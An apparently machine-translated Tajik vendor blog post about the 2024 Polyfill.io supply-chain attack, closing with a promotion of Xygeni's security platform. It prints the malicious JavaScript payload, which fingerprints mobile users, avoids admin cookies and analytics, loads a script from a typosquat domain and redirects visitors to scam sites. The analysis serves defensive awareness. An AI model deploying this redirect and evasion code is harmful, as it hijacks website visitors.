Кушодани полифилл: Ғарқшавии амиқ

Дар моҳи феврали соли 2024, Ҳамла ба занҷираи таъминот ба Polyfill.io- як мисоли барҷастаи ҳамлаҳои занҷираи таъминоти нармафзор—дар саросари ҷаҳон зиёда аз 100,000 вебсайтро осеб дидааст. Ин ҳодиса бо дуздии бастаҳо, ки дар он FUNNULL, як шахси зараровар, домен ва анбори GitHub-и Polyfill-ро ба даст овард ва нармафзори зарароварро ба ин хидмат ворид кард. Нармафзори зараровар махсусан корбарони мобилиро ҳадаф қарор дод ва онҳоро бо истифода аз осебпазириҳо дар интиқоли рамзи динамикии Polyfill, ки бар асоси сарлавҳаҳои HTTP ва агентҳои корбар асос ёфтааст, ба вебсайтҳои қиморбозии қаллобӣ равона кард.

Тафсири техникӣ: Чӣ гуна ҳамлаи полифилл кор кард

Полифилл ба таври васеъ барои таъмини мутобиқати байни хусусиятҳои муосири веб ва браузерҳои кӯҳна истифода шудааст. Ҳамлагарон истифода бурданд дуздии бастаҳо бо харидани cdn.polyfill.io домен ва ҷойгиркунии скриптҳои зараровар. Он чизе, ки ин ҳамларо ин қадар хатарнок кард, рафтори мураккаби нармафзори зараровар буд:

Тавлиди рамзи динамикӣХизматрасонии Polyfill посухҳои фармоишии JavaScript-ро дар асоси дастгоҳе, ки ба вебсайт дастрасӣ дорад (масалан, мобилӣ ва мизи корӣ), сарлавҳаҳои HTTP ва агентҳои корбар тавлид мекард. Ҳамлагарон аз ин табиати динамикӣ истифода бурда, борҳои зарароварро, ки барои дастгоҳҳои мушаххас, бахусус телефонҳои мобилӣ, мутобиқ карда шудаанд, ворид мекарданд.
Усулҳои саркашӣНармафзори зараровар оқилона буд. Он иҷрои хидматҳои таҳлилӣ ба монанди Google Analytics-ро ҳангоми ошкор шудани амалҳои он ба таъхир меандохт ва монеъи пайдо шудани амалҳои он дар омори сайт мешуд. Илова бар ин, он дар сурати ошкор шудани корбарони администратор ё таҳиягарон фаъол намешуд, ки ин аз ошкоркунии барвақт ҳангоми ислоҳи хато ё санҷиш пешгирӣ мекунад.
Интиқоли мобилӣПас аз фаъолсозӣ, нармафзори зараровар корбаронро тавассути тақлид кардани доменҳои қонунӣ (масалан,) ба вебсайтҳои қаллобии қимор равона мекард. googie-anaiytics.comҲамлагарон ҳатто барои кам кардани шубҳа тирезаҳои вақтро тағйир доданд ва танҳо дар соатҳои муайян боркунии муфидро иҷро карданд, то корбарони мобилии бехабарро дар ҳолати ногувор қарор диҳанд.

Бузургтарин сайтҳо аз ҳамлаи Polyfill осеб дидаанд

Дар Ҳамлаи занҷираи таъминоти полифилл зиёда аз 100,000 вебсайтҳо, аз ҷумла ташкилотҳои бузург, ба монанди:

Форуми ҷаҳонии иқтисодӣ
Шабака
JSTOR
Бонки Ирландия
Колдуэлл Банкир
Миллат зинда
Донишгоҳи Brandeis
Ширкати фурудгоҳҳои Дубай
Бунёди мудофиаи зистмуҳитӣ

Ин қурбониёни маъруф фарогирии ҷаҳонии ҳамла ва осебпазирии онро таъкид мекунанд. муассисаҳои калон барои вайрон кардани занҷираи таъминот.

Огоҳӣ ва вокуниши барвақтӣ

Эндрю Беттс, офарандаи аслии Polyfill, таҳиягаронро моҳҳо пеш аз ҳамла огоҳ кард истифодаи хидмати Polyfill-ро қатъ кунед пас аз он ки ӯ назорати доменро аз даст дод. Огоҳии ӯ қариб беэътиноӣ кард, то он даме ки ҳамлаи FUNNULL оғоз шуд. Пас аз ошкор шудан, шабакаҳои таҳвили мундариҷа ба монанди Cloudflare ва Fastly алтернативаҳои бехатарро пешниҳод кард, дар ҳоле ки Беттс маслиҳати худро барои таҳиягарон дар бораи нест кардани истинодҳои Polyfill пурра такрор кард.

Имрӯз ягон вебсайт ягон пуркуниро талаб намекунад https://t.co/3xHecLPXkB китобхона. Аксари хусусиятҳои иловашуда ба платформаи веб аз ҷониби ҳамаи браузерҳои асосӣ зуд қабул карда мешаванд, ба истиснои баъзе истисноҳо, ки одатан наметавонанд полипур карда шаванд, ба монанди Web Serial ва Web Bluetooth.
— Эндрю Беттс (@triblondon) Феврали соли 25, 2024

Намунаи боркунии зараровари Polyfill

Барои нишон додани мураккабии ҳамлаи занҷираи таъминоти Polyfill, Сансек мисоли муфассали боркунии зараровари истифодашударо пешниҳод кард. Ин боркунӣ вобаста ба дастгоҳи корбар ба таври динамикӣ мутобиқ карда шуда, равонакуниро ба вебсайтҳои қаллобӣ фаъол мекунад ва усулҳоеро барои пешгирӣ аз ошкоркунӣ истифода мебарад. Барои дидани муфассали тақсимоти техникии ин боркунӣ, шумо метавонед санҷед Сансек таҳлили пурра ва намунаи рамзи зараровар.

				
					function isPc() {
  try {
    var _isWin =
        navigator.platform == "Win32" || navigator.platform == "Windows",
      _isMac =
        navigator.platform == "Mac68K" ||
        navigator.platform == "MacPPC" ||
        navigator.platform == "Macintosh" ||
        navigator.platform == "MacIntel";
    if (_isMac || _isWin) {
      return true;
    } else {
      return false;
    }
  } catch (_0x44e1f6) {
    return false;
  }
}
function vfed_update(_0x5ae1f8) {
  _0x5ae1f8 !== "" &&
    loadJS(
      "https://www.googie-anaiytics.com/html/checkcachehw.js",
      function () {
        if (usercache == true) {
          window.location.href = _0x5ae1f8;
        }
      }
    );
}
function check_tiaozhuan() {
  var _isMobile = navigator.userAgent.match(
    /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
  );
  if (_isMobile) {
    var _curHost = window.location.host,
      _ref = document.referrer,
      _redirectURL = "",
      _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
      _rnd = Math.floor(Math.random() * 100 + 1),
      _date = new Date(),
      _hours = _date.getHours();
    if (
      _curHost.indexOf("www.dxtv1.com") !== -1 ||
      _curHost.indexOf("www.ys752.com") !== -1
    ) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else {
      if (_curHost.indexOf("shuanshu.com.com") !== -1) {
        _redirectURL = "https://kuurza.com/redirect?from=bitget";
      } else {
        if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
          _redirectURL = "https://kuurza.com/redirect?from=bitget";
        } else {
          if (_hours >= 0 && _hours < 2) {
            if (_rnd <= 10) {
              _redirectURL = _kuurzaBitGet;
            }
          } else {
            if (_hours >= 2 && _hours < 4) {
              _rnd <= 15 && (_redirectURL = _kuurzaBitGet);
            } else {
              if (_hours >= 4 && _hours < 7) {
                _rnd <= 20 && (_redirectURL = _kuurzaBitGet);
              } else {
                _hours >= 7 && _hours < 8
                  ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
                  : _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
              }
            }
          }
        }
      }
    }
    _redirectURL != "" &&
      !isPc() &&
      document.cookie.indexOf("admin_id") == -1 &&
      document.cookie.indexOf("adminlevels") == -1 &&
      vfed_update(_redirectURL);
  }
}
let _outerPage = document.documentElement.outerHTML,
  bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
  wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
  aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
  aplausix = _outerPage.indexOf(".plausible.io") != -1,
  statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
  ? setTimeout(check_tiaozhuan, 2000)
  : check_tiaozhuan();

Чаро ҳамла ба занҷири таъминоти Polyfill рух дод?

Ҳамлаи занҷираи таъминоти Polyfill ин масъалаи муҳимро таъкид мекунад. осебпазириҳо дар вобастагии шахсони сеюм идоракунӣ. Экосистемаи муосири JavaScript ба китобхонаҳои кушодаасос такя мекунад ва таҳиягарон аксар вақт абзорҳоеро ба монанди npm барои ҳамгироии худкори ин китобхонаҳо истифода мебаранд. Бе аудити қатъӣ ё мониторинги доимӣ, бастаҳои осебдида метавонанд беихтиёр аз он гузаранд, чунон ки дар Polyfill дида мешавад.

Ғайр аз ин, суръати баланди таҳия ва ҷойгиркунӣ дар муҳитҳои нармафзори имрӯза аксар вақт ба функсия ва суръат нисбат ба санҷишҳои ҳамаҷонибаи амниятӣ афзалият медиҳад. Ҳамлагарон аз ин холигӣ истифода мебаранд ва китобхонаҳои маъмулро ҳадаф қарор медиҳанд, то таъсири худро ба ҳадди аксар расонанд. Дар мавриди Polyfill, вақте ки ҳамлагарон назорати доменро ба даст оварданд, онҳо аз истифодаи васеъи китобхона барои ворид кардани рамзи зараровар ба шумораи зиёди вебсайтҳо истифода бурданд.

Ин ҳодиса аҳамияти татбиқи чораҳои қатъии амниятӣ, аз қабили абзорҳои аудити вобастагӣ, мониторинги вақти воқеӣ ва нақшаҳои қавии вокуниш ба ҳодисаҳоро барои муҳофизат аз ҳамлаҳои шабеҳи занҷираи таъминоти нармафзор таъкид мекунад. Ташкилотҳо бояд дар ҷараёнҳои кории таҳияи худ ба амният афзалият диҳанд, то экосистемаҳои рақамии худро самаранок ҳифз кунанд.

Пешгирии ҳамлаҳои оянда: Идоракунии устувори вобастагӣ

Ҳангоми идоракунии вобастагиҳо, Xygeni's Open Source Security платформа қабатҳои сершумори муҳофизатро истифода мебарад, ки барои муайян кардан, карантин кардан ва бартараф кардани ҷузъҳои зараровар дар вақти воқеӣ ва пешгирӣ аз ҳамлаҳои занҷираи таъминоти нармафзор пешбинӣ шудаанд.

Муайянкунии нармафзори зараровар дар вақти воқеӣXygeni пайваста феҳристҳои оммавиро назорат мекунад ва рамзи шубҳанокро пеш аз ворид шудан ба муҳити таҳия скан мекунад. Ин имкон медиҳад, ки таҳдидҳо ба монанди ҳамлаи Polyfill фаъолона масдуд карда шаванд, чунон ки дар ... қайд шудааст. Луис Родригес силсилаи мақолаҳо.

Огоҳиҳои автоматӣ ва карантинXygeni бастаҳои осебдидаро ба таври худкор ҷудо мекунад ва огоҳиҳоро тавлид мекунад, ки ба гурӯҳҳои таҳиякунанда имкон медиҳад, ки зуд амал кунанд. Бо ҳамгироӣ бо CI/CD pipelineс, ҳама гуна таҳдидро пеш аз расидан ба истеҳсолот боздоштан мумкин аст. Дар ҳолатҳое ба монанди ҳодисаи Polyfill, ин хусусият бо қатъ кардани рамзи зараровар барвақт аз таъсири густурда пешгирӣ мекунад.

Афзалиятдиҳии динамикӣ ва SBOMXygeni ба таври динамикӣ ба осебпазириҳо дар асоси контекст, қобилияти истифода ва таъсири тиҷоратӣ афзалият медиҳад. Бо тавлиди Рӯйхати маводҳои нармафзор дар вақти воқеӣ (SBOM), ташкилотҳо метавонанд ҳамаи ҷузъҳои тарафи сеюмро пайгирӣ кунанд ва шаффофияти комилро таъмин намоянд. Ин мониторинги воқеӣ ҳангоми идоракунии вобастагиҳои манбаъҳои кушода муҳим аст ва имкон медиҳад, ки ба ҳодисаҳо ба монанди рабудани маълумот аз ҷониби Polyfill зуд посух дода шавад.

Дар силсилаи мақолаҳо аз ҷониби Луис Родригес, диккат ба мудофиаи фаъолона бар зидди бастаҳои зараровари манбаъҳои кушода муфассал баррасӣ мешавад. Равиши Xygeni на танҳо ошкоркунии вақти воқеиро фаро мегирад, балки роҳҳои автоматии ислоҳро низ фароҳам меорад, ки ба ташкилотҳо имкон медиҳад, ки бидуни халалдор кардани истеҳсолот ба версияҳои бехатар баргарданд.

Тафтиш Бастаҳои зараровари манбаъи кушода силсилаи мақолаҳо дар ин ҷо барои гирифтани маълумоти бештар дар бораи он ки чӣ гуна Xygeni амнияти сарчашмаи кушодаро идора мекунад.

Вобастагии кушодаасоси худро аз нармафзори зараровар муҳофизат кунед

Стратегияҳои пешгирикунандаро барои ҳифзи нармафзори кушодаасоси худ аз таҳдидҳои нармафзори зараровар кашф кунед. Барои гирифтани маълумоти муҳим дар бораи ҳифзи нармафзори зараровар, мақолаи моро зеркашӣ кунед.

Download Акнун

Дарсҳо аз ҳамлаи полифилл

Дар Ҳамла ба занҷираи таъминот ба Polyfill.io дарсҳои муҳимро дар бораи хатарҳои вобастагии тарафи сеюм дар таҳияи муосири веб меомӯзонад.

Ҳушёрӣ дар вобастагиҳои шахсони сеюм: Ин муҳимтарин хулоса аст. Ташкилотҳо бояд мунтазам баррасӣ, санҷиш ва назорат кунанд ҳамаи китобхонаҳои тарафи сеюм, ки онҳо истифода мебаранд. Такяи аз ҳад зиёд ба вобастагиҳои санҷиданашуда метавонад системаҳоро ба хатарҳои ҷиддӣ дучор кунад.
Тадбирҳои пешгирикунандаи амният: Мониторинги доимӣ, ба монанди бо Муайянкунии таҳдидҳои Xygeni дар вақти воқеӣ, метавонад осебпазириҳоро барвақт муайян кунад.
Маориф ва омӯзишӣОгоҳ нигоҳ доштани ҳамаи аъзои даста аз таҳдидҳои охирин амнияти созмонро тақвият медиҳад.

Ҳамла ба занҷири таъминоти Polyfill ҳамчун ёдраскунандаи пурқуввати таҳдиди афзоянда аз ҷониби ... хизмат мекунад. ҳамлаҳои занҷираи таъминоти нармафзорИн ҳамлаҳо аз осебпазириҳо дар ҷузъҳои тарафи сеюм, ки ба таври васеъ истифода мешаванд, истифода мебаранд ва ташкилотҳоро дар ҳама андозаҳо ошкор мегардонанд. Бо андешидани чораҳои пешгирикунандаи амниятӣ, ба монанди мониторинги вақти воқеӣ, ошкоркунии автоматии таҳдидва идоракунии устувори вобастагӣ— мисли онҳое, ки аз ҷониби Xygeni пешниҳод мешаванд — ширкатҳо метавонанд дар оянда худро аз таҳдидҳои монанд муҳофизат кунанд. Ҳушёр мондан ва назорати ҳамаҷонибаи китобхонаҳои тарафи сеюм калиди пешгирии созишҳои миқёси калон ба монанди Polyfill мебошанд.

Вобастагии кушодаасоси худро аз ҳамлаҳои занҷираи таъминоти нармафзор муҳофизат кунед

Нагузоред, ки дархости шумо қурбонии хашм гардад ҳамлаҳои занҷираи таъминоти нармафзор мисли Полифилл. Xygeni Open Source Security платформа мониторинги вақти воқеӣ, харитасозии пешрафтаи вобастагӣ ва барқарорсозии автоматии онро барои ҳифзи рушди шумо пешниҳод мекунад pipelines аз бастаҳои осебдида.

Имрӯз занҷираи таъминоти нармафзори худро зери назорат гиред. Намоишро захира кунед ва бубинед, ки чӣ гуна Xygeni метавонад созмони шуморо аз таҳдидҳои оянда муҳофизат кунад.

Кушодани полифилл: Ғаввосии амиқ

Мақолаҳои ҳатман хондашаванда